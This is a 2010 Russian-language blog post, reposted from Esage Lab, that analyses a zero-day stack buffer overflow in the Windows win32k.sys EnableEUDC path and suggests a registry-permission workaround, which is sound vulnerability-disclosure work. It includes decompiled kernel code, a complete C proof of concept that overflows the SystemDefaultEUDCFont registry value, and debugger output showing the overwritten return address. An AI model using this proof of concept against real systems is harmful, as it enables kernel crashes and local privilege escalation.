Mastodon

Monday, December 13, 2010

Новая уязвимость в ядре Windows

Репост из блога Esage Lab

В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.

Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.

В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
BOOL EnableEUDC(
  BOOL fEnableEUDC
);

Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():
NTSTATUS RtlQueryRegistryValues(
  __in      ULONG RelativeTo,
  __in      PCWSTR Path,
  __inout   PRTL_QUERY_REGISTRY_TABLE QueryTable,
  __in_opt  PVOID Context,
  __in_opt  PVOID Environment
);

В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
typedef struct _RTL_QUERY_REGISTRY_TABLE {
    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
    ULONG Flags;
    PWSTR Name;
    PVOID EntryContext;
    ULONG DefaultType;
    PVOID DefaultData;
    ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
 1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2)
 2 {
 3   DestinationString.Buffer = (PWSTR)&v11;
 4   KeyHandle = 0;
 5   v9 = 0;
 6   v7 = 0;
 7   v11 = 0;
 8   SourceString = 0;
 9   DestinationString.Length = 0;
10   DestinationString.MaximumLength = 0x208u;
11 
12   // получение имени ключа
13   v4 = _get_EUDC_key_name(0x208u, &SourceString);
14   if (v4 >= 0)
15   {
16     // проверка существования ключа
17     if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7)
18     {
19       SharedQueryTable.EntryContext = &DestinationString;
20       SharedQueryTable.QueryRoutine = 0;
21       SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT;
22       SharedQueryTable.Name = L"SystemDefaultEUDCFont";
23       SharedQueryTable.DefaultType = 0;
24       SharedQueryTable.DefaultData = 0;
25       SharedQueryTable.DefaultLength = 0;
26       dword_BF9A6444 = 0;
27       dword_BF9A6448 = 0;
28       dword_BF9A644C = 0;
29 
30       // получение значения параметра SystemDefaultEUDCFont
31       v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0);
32     }
33     else
34     {
35       v4 = STATUS_SUCCESS;
36     }
37   }
38 
39   // skipped
40 
41   return 1;
42 }

Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.

PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
 1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont"
 2 
 3 int _tmain(int argc, _TCHAR* argv[])
 4 {
 5     HKEY hKey;
 6     char szKeyName[MAX_PATH], Buff[0x600];
 7 
 8     sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
 9 
10     // создание ключа реестра
11     LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
12     if (Code != ERROR_SUCCESS)
13     {
14         printf("ERROR: RegCreateKey() fails with status %d\n", Code);
15         return -1;
16     }
17 
18     // удаление старого параметра
19     RegDeleteValue(hKey, EUDC_FONT_VAL);
20 
21     // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
22     FillMemory(Buff, sizeof(Buff), 'A');
23     Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
24 
25     RegCloseKey(hKey);
26 
27     if (Code != ERROR_SUCCESS)
28     {
29         printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
30         return -1;
31     }
32 
33     // вызов уязвимой функции
34     EnableEUDC(TRUE);
35 
36     return 0;
37 }

В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141
e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca
e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73

Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.

Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:
  1. Войти в систему под учётной записью администратора.
  2. Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).
  3. Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.


Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.